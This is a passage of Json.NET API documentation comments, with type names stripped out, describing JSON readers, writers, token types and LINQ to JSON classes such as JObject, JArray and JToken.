Gets or sets the culture used when reading JSON. + The default value is . + + + + + Gets a value indicating whether there will be a check for additional content after deserializing an object. + The default value is false. + + + true if there will be a check for additional content after deserializing an object; otherwise, false. + + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class + using values copied from the passed in . + + + + + Represents a reader that provides fast, non-cached, forward-only access to JSON text data. + + + + + Initializes a new instance of the class with the specified . + + The containing the JSON data to read. + + + + Gets or sets the reader's property name table. + + + + + Gets or sets the reader's character buffer pool. + + + + + Reads the next JSON token from the underlying . + + + true if the next token was read successfully; false if there are no more tokens to read. + + + + + Reads the next JSON token from the underlying as a of . + + A of . This method will return null at the end of an array. + + + + Reads the next JSON token from the underlying as a of . + + A of . This method will return null at the end of an array. + + + + Reads the next JSON token from the underlying as a . + + A . This method will return null at the end of an array. + + + + Reads the next JSON token from the underlying as a []. + + A [] or null if the next JSON token is null. This method will return null at the end of an array. + + + + Reads the next JSON token from the underlying as a of . + + A of . This method will return null at the end of an array. + + + + Reads the next JSON token from the underlying as a of . + + A of . This method will return null at the end of an array. + + + + Reads the next JSON token from the underlying as a of . + + A of . This method will return null at the end of an array. + + + + Reads the next JSON token from the underlying as a of . + + A of . This method will return null at the end of an array. + + + + Changes the reader's state to . + If is set to true, the underlying is also closed. + + + + + Gets a value indicating whether the class can return line information. + + + true if and can be provided; otherwise, false. + + + + + Gets the current line number. + + + The current line number or 0 if no line information is available (for example, returns false). + + + + + Gets the current line position. + + + The current line position or 0 if no line information is available (for example, returns false). + + + + + Represents a writer that provides a fast, non-cached, forward-only way of generating JSON data. + + + + + Gets or sets the writer's character array pool. + + + + + Gets or sets how many s to write for each level in the hierarchy when is set to . + + + + + Gets or sets which character to use to quote attribute values. + + + + + Gets or sets which character to use for indenting when is set to . + + + + + Gets or sets a value indicating whether object names will be surrounded with quotes. + + + + + Initializes a new instance of the class using the specified . + + The to write to. + + + + Flushes whatever is in the buffer to the underlying and also flushes the underlying . + + + + + Closes this writer. + If is set to true, the underlying is also closed. + If is set to true, the JSON is auto-completed. + + + + + Writes the beginning of a JSON object. + + + + + Writes the beginning of a JSON array. + + + + + Writes the start of a constructor with the given name. + + The name of the constructor. + + + + Writes the specified end token. + + The end token to write. + + + + Writes the property name of a name/value pair on a JSON object. + + The name of the property. + + + + Writes the property name of a name/value pair on a JSON object. + + The name of the property. + A flag to indicate whether the text should be escaped when it is written as a JSON property name. + + + + Writes indent characters. + + + + + Writes the JSON value delimiter. + + + + + Writes an indent space. + + + + + Writes a value. + An error will raised if the value cannot be written as a single JSON token. + + The value to write. + + + + Writes a null value. + + + + + Writes an undefined value. + + + + + Writes raw JSON. + + The raw JSON to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a value. + + The value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a [] value. + + The [] value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a comment /*...*/ containing the specified text. + + Text to place inside the comment. + + + + Writes the given white space. + + The string of white space characters. + + + + Specifies the type of JSON token. + + + + + This is returned by the if a read method has not been called. + + + + + An object start token. + + + + + An array start token. + + + + + A constructor start token. + + + + + An object property name. + + + + + A comment. + + + + + Raw JSON. + + + + + An integer. + + + + + A float. + + + + + A string. + + + + + A boolean. + + + + + A null token. + + + + + An undefined token. + + + + + An object end token. + + + + + An array end token. + + + + + A constructor end token. + + + + + A Date. + + + + + Byte data. + + + + + + Represents a reader that provides validation. + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + + + + Sets an event handler for receiving schema validation errors. + + + + + Gets the text value of the current JSON token. + + + + + + Gets the depth of the current token in the JSON document. + + The depth of the current token in the JSON document. + + + + Gets the path of the current JSON token. + + + + + Gets the quotation mark character used to enclose the value of a string. + + + + + + Gets the type of the current JSON token. + + + + + + Gets the .NET type for the current JSON token. + + + + + + Initializes a new instance of the class that + validates the content returned from the given . + + The to read from while validating. + + + + Gets or sets the schema. + + The schema. + + + + Gets the used to construct this . + + The specified in the constructor. + + + + Changes the reader's state to . + If is set to true, the underlying is also closed. + + + + + Reads the next JSON token from the underlying as a of . + + A of . + + + + Reads the next JSON token from the underlying as a []. + + + A [] or null if the next JSON token is null. + + + + + Reads the next JSON token from the underlying as a of . + + A of . + + + + Reads the next JSON token from the underlying as a of . + + A of . + + + + Reads the next JSON token from the underlying as a of . + + A of . + + + + Reads the next JSON token from the underlying as a . + + A . This method will return null at the end of an array. + + + + Reads the next JSON token from the underlying as a of . + + A of . This method will return null at the end of an array. + + + + Reads the next JSON token from the underlying as a of . + + A of . + + + + Reads the next JSON token from the underlying . + + + true if the next token was read successfully; false if there are no more tokens to read. + + + + + Represents a writer that provides a fast, non-cached, forward-only way of generating JSON data. + + + + + Gets or sets a value indicating whether the destination should be closed when this writer is closed. + + + true to close the destination when this writer is closed; otherwise false. The default is true. + + + + + Gets or sets a value indicating whether the JSON should be auto-completed when this writer is closed. + + + true to auto-complete the JSON when this writer is closed; otherwise false. The default is true. + + + + + Gets the top. + + The top. + + + + Gets the state of the writer. + + + + + Gets the path of the writer. + + + + + Gets or sets a value indicating how JSON text output should be formatted. + + + + + Gets or sets how dates are written to JSON text. + + + + + Gets or sets how time zones are handled when writing JSON text. + + + + + Gets or sets how strings are escaped when writing JSON text. + + + + + Gets or sets how special floating point numbers, e.g. , + and , + are written to JSON text. + + + + + Gets or sets how and values are formatted when writing JSON text. + + + + + Gets or sets the culture used when writing JSON. Defaults to . + + + + + Initializes a new instance of the class. + + + + + Flushes whatever is in the buffer to the destination and also flushes the destination. + + + + + Closes this writer. + If is set to true, the destination is also closed. + If is set to true, the JSON is auto-completed. + + + + + Writes the beginning of a JSON object. + + + + + Writes the end of a JSON object. + + + + + Writes the beginning of a JSON array. + + + + + Writes the end of an array. + + + + + Writes the start of a constructor with the given name. + + The name of the constructor. + + + + Writes the end constructor. + + + + + Writes the property name of a name/value pair of a JSON object. + + The name of the property. + + + + Writes the property name of a name/value pair of a JSON object. + + The name of the property. + A flag to indicate whether the text should be escaped when it is written as a JSON property name. + + + + Writes the end of the current JSON object or array. + + + + + Writes the current token and its children. + + The to read the token from. + + + + Writes the current token. + + The to read the token from. + A flag indicating whether the current token's children should be written. + + + + Writes the token and its value. + + The to write. + + The value to write. + A value is only required for tokens that have an associated value, e.g. the property name for . + null can be passed to the method for tokens that don't have a value, e.g. . + + + + + Writes the token. + + The to write. + + + + Writes the specified end token. + + The end token to write. + + + + Writes indent characters. + + + + + Writes the JSON value delimiter. + + + + + Writes an indent space. + + + + + Writes a null value. + + + + + Writes an undefined value. + + + + + Writes raw JSON without changing the writer's state. + + The raw JSON to write. + + + + Writes raw JSON where a value is expected and updates the writer's state. + + The raw JSON to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a [] value. + + The [] value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + An error will raised if the value cannot be written as a single JSON token. + + The value to write. + + + + Writes a comment /*...*/ containing the specified text. + + Text to place inside the comment. + + + + Writes the given white space. + + The string of white space characters. + + + + Releases unmanaged and - optionally - managed resources. + + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + + Sets the state of the . + + The being written. + The value being written. + + + + The exception thrown when an error occurs while writing JSON text. + + + + + Gets the path to the JSON where the error occurred. + + The path to the JSON where the error occurred. + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class + with a specified error message. + + The error message that explains the reason for the exception. + + + + Initializes a new instance of the class + with a specified error message and a reference to the inner exception that is the cause of this exception. + + The error message that explains the reason for the exception. + The exception that is the cause of the current exception, or null if no inner exception is specified. + + + + Initializes a new instance of the class. + + The that holds the serialized object data about the exception being thrown. + The that contains contextual information about the source or destination. + The parameter is null. + The class name is null or is zero (0). + + + + Initializes a new instance of the class + with a specified error message, JSON path and a reference to the inner exception that is the cause of this exception. + + The error message that explains the reason for the exception. + The path to the JSON where the error occurred. + The exception that is the cause of the current exception, or null if no inner exception is specified. + + + + Specifies how JSON comments are handled when loading JSON. + + + + + Ignore comments. + + + + + Load comments as a with type . + + + + + Specifies how duplicate property names are handled when loading JSON. + + + + + Replace the existing value when there is a duplicate property. The value of the last property in the JSON object will be used. + + + + + Ignore the new value when there is a duplicate property. The value of the first property in the JSON object will be used. + + + + + Throw a when a duplicate property is encountered. + + + + + Contains the LINQ to JSON extension methods. + + + + + Returns a collection of tokens that contains the ancestors of every token in the source collection. + + The type of the objects in source, constrained to . + An of that contains the source collection. + An of that contains the ancestors of every token in the source collection. + + + + Returns a collection of tokens that contains every token in the source collection, and the ancestors of every token in the source collection. + + The type of the objects in source, constrained to . + An of that contains the source collection. + An of that contains every token in the source collection, the ancestors of every token in the source collection. + + + + Returns a collection of tokens that contains the descendants of every token in the source collection. + + The type of the objects in source, constrained to . + An of that contains the source collection. + An of that contains the descendants of every token in the source collection. + + + + Returns a collection of tokens that contains every token in the source collection, and the descendants of every token in the source collection. + + The type of the objects in source, constrained to . + An of that contains the source collection. + An of that contains every token in the source collection, and the descendants of every token in the source collection. + + + + Returns a collection of child properties of every object in the source collection. + + An of that contains the source collection. + An of that contains the properties of every object in the source collection. + + + + Returns a collection of child values of every object in the source collection with the given key. + + An of that contains the source collection. + The token key. + An of that contains the values of every token in the source collection with the given key. + + + + Returns a collection of child values of every object in the source collection. + + An of that contains the source collection. + An of that contains the values of every token in the source collection. + + + + Returns a collection of converted child values of every object in the source collection with the given key. + + The type to convert the values to. + An of that contains the source collection. + The token key. + An that contains the converted values of every token in the source collection with the given key. + + + + Returns a collection of converted child values of every object in the source collection. + + The type to convert the values to. + An of that contains the source collection. + An that contains the converted values of every token in the source collection. + + + + Converts the value. + + The type to convert the value to. + A cast as a of . + A converted value. + + + + Converts the value. + + The source collection type. + The type to convert the value to. + A cast as a of . + A converted value. + + + + Returns a collection of child tokens of every array in the source collection. + + The source collection type. + An of that contains the source collection. + An of that contains the values of every token in the source collection. + + + + Returns a collection of converted child tokens of every array in the source collection. + + An of that contains the source collection. + The type to convert the values to. + The source collection type. + An that contains the converted values of every token in the source collection. + + + + Returns the input typed as . + + An of that contains the source collection. + The input typed as . + + + + Returns the input typed as . + + The source collection type. + An of that contains the source collection. + The input typed as . + + + + Represents a collection of objects. + + The type of token. + + + + Gets the of with the specified key. + + + + + + Represents a JSON array. + + + + + + + + Gets the container's children tokens. + + The container's children tokens. + + + + Gets the node type for this . + + The type. + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class from another object. + + A object to copy from. + + + + Initializes a new instance of the class with the specified content. + + The contents of the array. + + + + Initializes a new instance of the class with the specified content. + + The contents of the array. + + + + Loads an from a . + + A that will be read for the content of the . + A that contains the JSON that was read from the specified . + + + + Loads an from a . + + A that will be read for the content of the . + The used to load the JSON. + If this is null, default load settings will be used. + A that contains the JSON that was read from the specified . + + + + Load a from a string that contains JSON. + + A that contains JSON. + A populated from the string that contains JSON. + + + + + + + Load a from a string that contains JSON. + + A that contains JSON. + The used to load the JSON. + If this is null, default load settings will be used. + A populated from the string that contains JSON. + + + + + + + Creates a from an object. + + The object that will be used to create . + A with the values of the specified object. + + + + Creates a from an object. + + The object that will be used to create . + The that will be used to read the object. + A with the values of the specified object. + + + + Writes this token to a . + + A into which this method will write. + A collection of which will be used when writing the token. + + + + Gets the with the specified key. + + The with the specified key. + + + + Gets or sets the at the specified index. + + + + + + Determines the index of a specific item in the . + + The object to locate in the . + + The index of if found in the list; otherwise, -1. + + + + + Inserts an item to the at the specified index. + + The zero-based index at which should be inserted. + The object to insert into the . + + is not a valid index in the . + + + + + Removes the item at the specified index. + + The zero-based index of the item to remove. + + is not a valid index in the . + + + + + Returns an enumerator that iterates through the collection. + + + A of that can be used to iterate through the collection. + + + + + Adds an item to the . + + The object to add to the . + + + + Removes all items from the . + + + + + Determines whether the contains a specific value. + + The object to locate in the . + + true if is found in the ; otherwise, false. + + + + + Copies the elements of the to an array, starting at a particular array index. + + The array. + Index of the array. + + + + Gets a value indicating whether the is read-only. + + true if the is read-only; otherwise, false. + + + + Removes the first occurrence of a specific object from the . + + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method also returns false if is not found in the original . + + + + + Represents a JSON constructor. + + + + + Gets the container's children tokens. + + The container's children tokens. + + + + Gets or sets the name of this constructor. + + The constructor name. + + + + Gets the node type for this . + + The type. + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class from another object. + + A object to copy from. + + + + Initializes a new instance of the class with the specified name and content. + + The constructor name. + The contents of the constructor. + + + + Initializes a new instance of the class with the specified name and content. + + The constructor name. + The contents of the constructor. + + + + Initializes a new instance of the class with the specified name. + + The constructor name. + + + + Writes this token to a . + + A into which this method will write. + A collection of which will be used when writing the token. + + + + Gets the with the specified key. + + The with the specified key. + + + + Loads a from a . + + A that will be read for the content of the . + A that contains the JSON that was read from the specified . + + + + Loads a from a . + + A that will be read for the content of the . + The used to load the JSON. + If this is null, default load settings will be used. + A that contains the JSON that was read from the specified . + + + + Represents a token that can contain other tokens. + + + + + Occurs when the list changes or an item in the list changes. + + + + + Occurs before an item is added to the collection. + + + + + Occurs when the items list of the collection has changed, or the collection is reset. + + + + + Gets the container's children tokens. + + The container's children tokens. + + + + Raises the event. + + The instance containing the event data. + + + + Raises the event. + + The instance containing the event data. + + + + Raises the event. + + The instance containing the event data. + + + + Gets a value indicating whether this token has child tokens. + + + true if this token has child values; otherwise, false. + + + + + Get the first child token of this token. + + + A containing the first child token of the . + + + + + Get the last child token of this token. + + + A containing the last child token of the . + + + + + Returns a collection of the child tokens of this token, in document order. + + + An of containing the child tokens of this , in document order. + + + + + Returns a collection of the child values of this token, in document order. + + The type to convert the values to. + + A containing the child values of this , in document order. + + + + + Returns a collection of the descendant tokens for this token in document order. + + An of containing the descendant tokens of the . + + + + Returns a collection of the tokens that contain this token, and all descendant tokens of this token, in document order. + + An of containing this token, and all the descendant tokens of the . + + + + Adds the specified content as children of this . + + The content to be added. + + + + Adds the specified content as the first children of this . + + The content to be added. + + + + Creates a that can be used to add tokens to the . + + A that is ready to have content written to it. + + + + Replaces the child nodes of this token with the specified content. + + The content. + + + + Removes the child nodes from this token. + + + + + Merge the specified content into this . + + The content to be merged. + + + + Merge the specified content into this using . + + The content to be merged. + The used to merge the content. + + + + Gets the count of child JSON tokens. + + The count of child JSON tokens. + + + + Represents a collection of objects. + + The type of token. + + + + An empty collection of objects. + + + + + Initializes a new instance of the struct. + + The enumerable. + + + + Returns an enumerator that can be used to iterate through the collection. + + + A that can be used to iterate through the collection. + + + + + Gets the of with the specified key. + + + + + + Determines whether the specified is equal to this instance. + + The to compare with this instance. + + true if the specified is equal to this instance; otherwise, false. + + + + + Determines whether the specified is equal to this instance. + + The to compare with this instance. + + true if the specified is equal to this instance; otherwise, false. + + + + + Returns a hash code for this instance. + + + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + + + Represents a JSON object. + + + + + + + + Gets the container's children tokens. + + The container's children tokens. + + + + Occurs when a property value changes. + + + + + Occurs when a property value is changing. + + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class from another object. + + A object to copy from. + + + + Initializes a new instance of the class with the specified content. + + The contents of the object. + + + + Initializes a new instance of the class with the specified content. + + The contents of the object. + + + + Gets the node type for this . + + The type. + + + + Gets an of of this object's properties. + + An of of this object's properties. + + + + Gets a with the specified name. + + The property name. + A with the specified name or null. + + + + Gets the with the specified name. + The exact name will be searched for first and if no matching property is found then + the will be used to match a property. + + The property name. + One of the enumeration values that specifies how the strings will be compared. + A matched with the specified name or null. + + + + Gets a of of this object's property values. + + A of of this object's property values. + + + + Gets the with the specified key. + + The with the specified key. + + + + Gets or sets the with the specified property name. + + + + + + Loads a from a . + + A that will be read for the content of the . + A that contains the JSON that was read from the specified . + + is not valid JSON. + + + + + Loads a from a . + + A that will be read for the content of the . + The used to load the JSON. + If this is null, default load settings will be used. + A that contains the JSON that was read from the specified . + + is not valid JSON. + + + + + Load a from a string that contains JSON. + + A that contains JSON. + A populated from the string that contains JSON. + + is not valid JSON. + + + + + + + + Load a from a string that contains JSON. + + A that contains JSON. + The used to load the JSON. + If this is null, default load settings will be used. + A populated from the string that contains JSON. + + is not valid JSON. + + + + + + + + Creates a from an object. + + The object that will be used to create . + A with the values of the specified object. + + + + Creates a from an object. + + The object that will be used to create . + The that will be used to read the object. + A with the values of the specified object. + + + + Writes this token to a . + + A into which this method will write. + A collection of which will be used when writing the token. + + + + Gets the with the specified property name. + + Name of the property. + The with the specified property name. + + + + Gets the with the specified property name. + The exact property name will be searched for first and if no matching property is found then + the will be used to match a property. + + Name of the property. + One of the enumeration values that specifies how the strings will be compared. + The with the specified property name. + + + + Tries to get the with the specified property name. + The exact property name will be searched for first and if no matching property is found then + the will be used to match a property. + + Name of the property. + The value. + One of the enumeration values that specifies how the strings will be compared. + true if a value was successfully retrieved; otherwise, false. + + + + Adds the specified property name. + + Name of the property. + The value. + + + + Determines whether the JSON object has the specified property name. + + Name of the property. + true if the JSON object has the specified property name; otherwise, false. + + + + Removes the property with the specified name. + + Name of the property. + true if item was successfully removed; otherwise, false. + + + + Tries to get the with the specified property name. + + Name of the property. + The value. + true if a value was successfully retrieved; otherwise, false. + + + + Returns an enumerator that can be used to iterate through the collection. + + + A that can be used to iterate through the collection. + + + + + Raises the event with the provided arguments. + + Name of the property. + + + + Raises the event with the provided arguments. + + Name of the property. + + + + Returns the responsible for binding operations performed on this object. + + The expression tree representation of the runtime value. + + The to bind this object. + + + + + Represents a JSON property. + + + + + Gets the container's children tokens. + + The container's children tokens. + + + + Gets the property name. + + The property name. + + + + Gets or sets the property value. + + The property value. + + + + Initializes a new instance of the class from another object. + + A object to copy from. + + + + Gets the node type for this . + + The type. + + + + Initializes a new instance of the class. + + The property name. + The property content. + + + + Initializes a new instance of the class. + + The property name. + The property content. + + + + Writes this token to a . + + A into which this method will write. + A collection of which will be used when writing the token. + + + + Loads a from a . + + A that will be read for the content of the . + A that contains the JSON that was read from the specified . + + + + Loads a from a . + + A that will be read for the content of the . + The used to load the JSON. + If this is null, default load settings will be used. + A that contains the JSON that was read from the specified . + + + + Represents a view of a . + + + + + Initializes a new instance of the class. + + The name. + + + + When overridden in a derived class, returns whether resetting an object changes its value. + + + true if resetting the component changes its value; otherwise, false. + + The component to test for reset capability. + + + + When overridden in a derived class, gets the current value of the property on a component. + + + The value of a property for a given component. + + The component with the property for which to retrieve the value. + + + + When overridden in a derived class, resets the value for this property of the component to the default value. + + The component with the property value that is to be reset to the default value. + + + + When overridden in a derived class, sets the value of the component to a different value. + + The component with the property value that is to be set. + The new value. + + + + When overridden in a derived class, determines a value indicating whether the value of this property needs to be persisted. + + + true if the property should be persisted; otherwise, false. + + The component with the property to be examined for persistence. + + + + When overridden in a derived class, gets the type of the component this property is bound to. + + + A that represents the type of component this property is bound to. + When the or + + methods are invoked, the object specified might be an instance of this type. + + + + + When overridden in a derived class, gets a value indicating whether this property is read-only. + + + true if the property is read-only; otherwise, false. + + + + + When overridden in a derived class, gets the type of the property. + + + A that represents the type of the property. + + + + + Gets the hash code for the name of the member. + + + + The hash code for the name of the member. + + + + + Represents a raw JSON string. + + + + + Initializes a new instance of the class from another object. + + A object to copy from. + + + + Initializes a new instance of the class. + + The raw json. + + + + Creates an instance of with the content of the reader's current token. + + The reader. + An instance of with the content of the reader's current token. + + + + Specifies the settings used when cloning JSON. + + + + + Initializes a new instance of the class. + + + + + Gets or sets a flag that indicates whether to copy annotations when cloning a . + The default value is true. + + + A flag that indicates whether to copy annotations when cloning a . + + + + + Specifies the settings used when loading JSON. + + + + + Initializes a new instance of the class. + + + + + Gets or sets how JSON comments are handled when loading JSON. + The default value is . + + The JSON comment handling. + + + + Gets or sets how JSON line info is handled when loading JSON. + The default value is . + + The JSON line info handling. + + + + Gets or sets how duplicate property names in JSON objects are handled when loading JSON. + The default value is . + + The JSON duplicate property name handling. + + + + Specifies the settings used when merging JSON. + + + + + Initializes a new instance of the class. + + + + + Gets or sets the method used when merging JSON arrays. + + The method used when merging JSON arrays. + + + + Gets or sets how null value properties are merged. + + How null value properties are merged. + + + + Gets or sets the comparison used to match property names while merging. + The exact property name will be searched for first and if no matching property is found then + the will be used to match a property. + + The comparison used to match property names while merging. + + + + Specifies the settings used when selecting JSON. + + + + + Gets or sets a flag that indicates whether an error should be thrown if + no tokens are found when evaluating part of the expression. + + + A flag that indicates whether an error should be thrown if + no tokens are found when evaluating part of the expression. + + + + + Represents an abstract JSON token. + + + + + Gets a comparer that can compare two tokens for value equality. + + A that can compare two nodes for value equality. + + + + Gets or sets the parent. + + The parent. + + + + Gets the root of this . + + The root of this . + + + + Gets the node type for this . + + The type. + + + + Gets a value indicating whether this token has child tokens. + + + true if this token has child values; otherwise, false. + + + + + Compares the values of two tokens, including the values of all descendant tokens. + + The first to compare. + The second to compare. + true if the tokens are equal; otherwise false. + + + + Gets the next sibling token of this node. + + The that contains the next sibling token. + + + + Gets the previous sibling token of this node. + + The that contains the previous sibling token. + + + + Gets the path of the JSON token. + + + + + Adds the specified content immediately after this token. + + A content object that contains simple content or a collection of content objects to be added after this token. + + + + Adds the specified content immediately before this token. + + A content object that contains simple content or a collection of content objects to be added before this token. + + + + Returns a collection of the ancestor tokens of this token. + + A collection of the ancestor tokens of this token. + + + + Returns a collection of tokens that contain this token, and the ancestors of this token. + + A collection of tokens that contain this token, and the ancestors of this token. + + + + Returns a collection of the sibling tokens after this token, in document order. + + A collection of the sibling tokens after this tokens, in document order. + + + + Returns a collection of the sibling tokens before this token, in document order. + + A collection of the sibling tokens before this token, in document order. + + + + Gets the with the specified key. + + The with the specified key. + + + + Gets the with the specified key converted to the specified type. + + The type to convert the token to. + The token key. + The converted token value. + + + + Get the first child token of this token. + + A containing the first child token of the . + + + + Get the last child token of this token. + + A containing the last child token of the . + + + + Returns a collection of the child tokens of this token, in document order. + + An of containing the child tokens of this , in document order. + + + + Returns a collection of the child tokens of this token, in document order, filtered by the specified type. + + The type to filter the child tokens on. + A containing the child tokens of this , in document order. + + + + Returns a collection of the child values of this token, in document order. + + The type to convert the values to. + A containing the child values of this , in document order. + + + + Removes this token from its parent. + + + + + Replaces this token with the specified token. + + The value. + + + + Writes this token to a . + + A into which this method will write. + A collection of which will be used when writing the token. + + + + Returns the indented JSON for this token. + + + ToString() returns a non-JSON string value for tokens with a type of . + If you want the JSON for all token types then you should use . + + + The indented JSON for this token. + + + + + Returns the JSON for this token using the given formatting and converters. + + Indicates how the output should be formatted. + A collection of s which will be used when writing the token. + The JSON for this token using the given formatting and converters. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to []. + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to of . + + The value. + The result of the conversion. + + + + Performs an explicit conversion from to . + + The value. + The result of the conversion. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from [] to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from to . + + The value to create a from. + The initialized with the specified value. + + + + Performs an implicit conversion from of to . + + The value to create a from. + The initialized with the specified value. + + + + Creates a for this token. + + A that can be used to read this token and its descendants. + + + + Creates a from an object. + + The object that will be used to create . + A with the value of the specified object. + + + + Creates a from an object using the specified . + + The object that will be used to create . + The that will be used when reading the object. + A with the value of the specified object. + + + + Creates an instance of the specified .NET type from the . + + The object type that the token will be deserialized to. + The new object created from the JSON value. + + + + Creates an instance of the specified .NET type from the . + + The object type that the token will be deserialized to. + The new object created from the JSON value. + + + + Creates an instance of the specified .NET type from the using the specified . + + The object type that the token will be deserialized to. + The that will be used when creating the object. + The new object created from the 